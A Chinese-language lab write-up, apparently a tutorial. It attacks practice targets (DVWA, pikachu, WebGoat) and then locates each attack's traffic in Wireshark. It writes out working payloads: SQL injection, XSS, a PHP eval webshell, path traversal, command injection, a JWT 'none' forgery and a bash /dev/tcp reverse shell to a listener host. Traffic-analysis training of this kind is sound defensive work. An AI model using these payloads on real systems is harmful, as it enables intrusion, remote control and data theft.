web漏洞的攻击及抓取攻击流量

以dvwa靶场为例，使用wireshark抓取攻击流量，并定位关键字段

SQL注入

攻击

在sql注入攻击

1' and 1=2 union select version(),2#

流量特征

在数据包中可以清晰的查看源IP和目的IP

在Wireshark选中Ethernet0网卡

• 点击Submit，进行抓包

• 利用union select关键字开始抓包
• 并在Wireshark中停止抓包

• 抓包成功

• 查看目的ip地址的流量

ip.dst==192.168.63.138

• 成功找到union select关键字

XSS

攻击

• 注入XSS漏洞

<ScRiPt>alert(/xss/)</script>

• 注入成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 使用wireshark抓取数据包
• 并查找关键字script

• 成功找到script关键字

文件上传

攻击

上传一句话木马文件

 @eval($_POST[777]);?>

上传成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 使用wireshark抓取数据包
• 并查找后缀为.php的文件

• 成功找到1.php关键字
• 可以看到1.php的内容

文件包含

攻击

将url中page后的值改为file../../../../phpinfo.php

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 使用wireshark抓取数据包
• 查找url的值为file../../../../phpinfo.php

• 查看目的ip地址的流量

ip.dst==192.168.63.141&&http

• 成功找到关键字file../../../../phpinfo.php

文件读取

攻击

将url中的值改为

file/../../../../../../../../../../windows\system32\drivers\etc\hosts

读取成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 使用wireshark抓取数据包
• 查找url的值为file../../../../../../../windows\system32\drivers\etc\hosts

• 查看目的ip地址的流量

ip.dst==192.168.63.141&&http

成功找到关键字file../../../../../../../windows\system32\drivers\etc\hosts

暴力破解

攻击

• 输入用户名密码

• 用burp抓包

爆破成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 利用burp的post进行抓取数据包

• 使用wireshark抓取数据包
• 查看目的ip地址的流量

ip.dst==192.168.63.139&&http

成功找到数据包的关键字

命令执行

攻击

注入命令

ping 127.0.0.1 | whoami

注入成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 点击Submit，进行抓包

• 查看目的ip地址的流量

ip.dst==192.168.63.139

成功找到数据包的关键字

SSRF

以pikachu靶场为例

攻击

更改url后的值

更改为http://www.baidu.com

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 使用wireshark抓取数据包
• 查找url的值为http://www.baidu.com

成功找到数据包中的关键字

shiro反序列化

攻击

利用kali的IP开始攻击

成功找到cc链

尝试命令执行

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 点击Ethernet0
• 执行

• 开始抓取流量

• 并在Wireshark中停止抓包

查看目的ip地址的流量

ip.dst==192.168.63.129

• 双击查看

• 看到shiro反序列化的关键字rememberme=

jwt

以WebGoat第4关靶场为例

攻击

首先登录Tom用户

选择一个并开始投票，发现可以一致投票

点击删除，提示只有admin用户才能清空

利用bp开始抓包

右击发送到Repeater

将cookie的值利用进行JWT解码

利用base64编码，将HS512改为none，false改为true

分别将修改后的base64编码放在Encoded中

将HEADER和PAYLOAD的Encoded放在bp的cookie中

提示已经成功完成任务

回到页面查看，删除成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 利用burp的post进行抓取数据包

• 使用wireshark抓取数据包
• 查看目的ip地址的流量

ip.dst==192.168.63.129&&http

成功找到数据包中的关键字

反弹shell

前提：

准备两台虚拟机（kali、linux）

攻击

首先是kali开启监听

nc -lvvp 5555

Linux连接kali

bash -i >& /dev/tcp/192.168.63.129/5555 0>&1
          或
bash -c "bash -i >& /dev/tcp/192.168.63.129/5555 0>&1"
#bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

监听成功

流量特征

在数据包中可以清晰的查看源IP和目的IP

• 使用wireshark抓取数据包中的cat /etc/passwd

• 查看目的ip地址的流量

ip.dst==192.168.63.129&&tcp

• 成功抓到tcp数据流中的关键字